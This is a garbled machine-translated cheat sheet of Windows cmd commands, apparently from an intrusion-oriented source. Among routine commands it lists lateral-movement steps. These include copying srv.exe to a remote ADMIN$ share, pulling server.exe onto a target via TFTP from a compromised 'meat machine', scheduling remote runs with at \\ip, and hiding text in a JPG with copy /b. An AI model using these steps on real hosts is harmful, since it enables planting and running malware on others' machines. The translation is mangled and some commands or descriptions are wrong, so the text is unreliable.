del / S / Q or directory with: rmdir / s / Q directory / S delete the directory and all subdirectories and files in the directory. At the same time using the parameter / Q cancel the delete operation of the system directly confirm the deletion. (The same two command role)
the Move letter \ path \ filename stored path to move files you want to move \ move after move the file filename, parameter / the y-canceled prompted to confirm the presence of the same file directory of moving directly covered
fc one two.txt .txt > 3st.txt compare two files and the output difference is to 3st.txt file, " > " and " >> " redirect command
at id number registered to open a scheduled task
at / delete stop all scheduled tasks, with the parameter / yes you do not need to confirm directly stop
at id number / the Delete stop a scheduled task has been registered
at view all scheduled tasks
at \\ ip time program name (or a command) / r run a program at some other time and restart your computer
finger username @host which users log in to view the last
telnet ip port far and landed server, the default port is 23
Open ip connection to IP (telnet case of an order after landing)
telnet on this machine simply type telnet will enter the machine's telnet
Copy path \ filename 1 path \ filename 2 / y copy a file 1 to the specified directory for the file 2, using parameter / the y-you simultaneously cancel sure you want to overwrite a parts of the existing catalog file
copy c: \ srv.exe \\ ip \ admin $ copy local c: \ srv.exe to each other's ADMIN
1st.jpg cppy /b+2st.txt/a 3st.jpg of the 2st.txt hiding the content generated 3st.jpg 1st.jpg new file Note: 2st.txt three-row header to be empty, the parameter: / b means binary, / a refers to file format ASCLL
copy \\ ip \ admin $ \ svv .exe c: \ or: copy \\ ip \ ADMIN $ \ * *. copy srv.exe files (all files) in the other admini $ share to the local C:
xcopy to copy a file or directory tree destination address \ directory name copy files and directory trees, with parameters / the Y-cover the same file will not prompt
the TFTP -i own IP (when using this as a springboard meat machine meat machine IP) GET server.exe c: after the \ server.exe landing, the " IP " the server.exe downloaded to the target host c: \ server.exe parameters: -i refers to the time in binary mode transmission, such as transmission exe file which, if not -i places ASCII mode (text file transfer mode) to transmit
the TFTP - i other IP put c: \ server.exe after landing, upload local c: \ server.exe to host
ftp ip port for uploading files to a server or file operation, the default port is 21. It refers to transfer binary bin (executable file into); default transport format ASCII (text file)
route Print shows IP routing network addresses the primary display Network addres, Netmask subnet mask, gateway address Gateway addres, the interface address Interface
arp view and manipulate the ARP cache, ARP name resolution is the meaning of IP responsible for a MAC address resolves to a physical nature. ARP - A to show all the information
start command or program name / max or / min to open a new window and maximize (minimize) run a program or command
mem view cpu usage
attrib file name (directory name) to view a document (directory) attribute
attrib filename -A -R -S -H or R & lt + S + a + + H remove the (added) archive of a file, read-only, system, hidden attribute; + is used to add a property
dir view the file, parameters: / Q display files and directories to which the user belongs systems, / T: C display the file creation time, / T: A display file was last accessed time, / T: W was last modified
date/ t, time / t use this parameter " DATE / T " , " the TIME / T " will only display the current date and time, instead of entering a new date and time to
set the specified environment variable name = to assign character set environment variables given variables
set displays all current environment variables
set p (or other characters) shows all the current environment variables character p (or other characters) at the beginning of the
pause pause batch program, and shows: press any key to continue ....
if performed in a batch program processing conditions (for more explanation see the if command and variable)
GOTO label cmd.exe batch program directed to the row with the label (a label on a line, and beginning with a colon, for example: " : Start " label)
call path \ batch file called from another batch program batch program (see further instructions call /? )
for the implementation of a specific command to a set of files for each file (more instructions see for commands and variables)
echo ON or off to open or close echo, only the echo without parameters displays the current echo setting
information echo information is displayed on the screen
echo information >> pass.txt will" information " to save the file to pass.txt
findstr " the Hello " aa.txt find the string hello in aa.txt file
find file name find a file
title to change the name of the title CMD window title name
color value color console cmd foreground and background colors; 0 = black, 1 = blue, 2 = green, 3 = light green, 4 = red, 5 = purple, 6 = yellow, 7 = white, 8 = gray, 9 = light blue, A = light green, B = light green light, C = pink, D = purple, E = yellow, F = white
prompt cmd.exe change the name displayed in the command prompt (the C: \, D: \ uniform change is: EntSky \)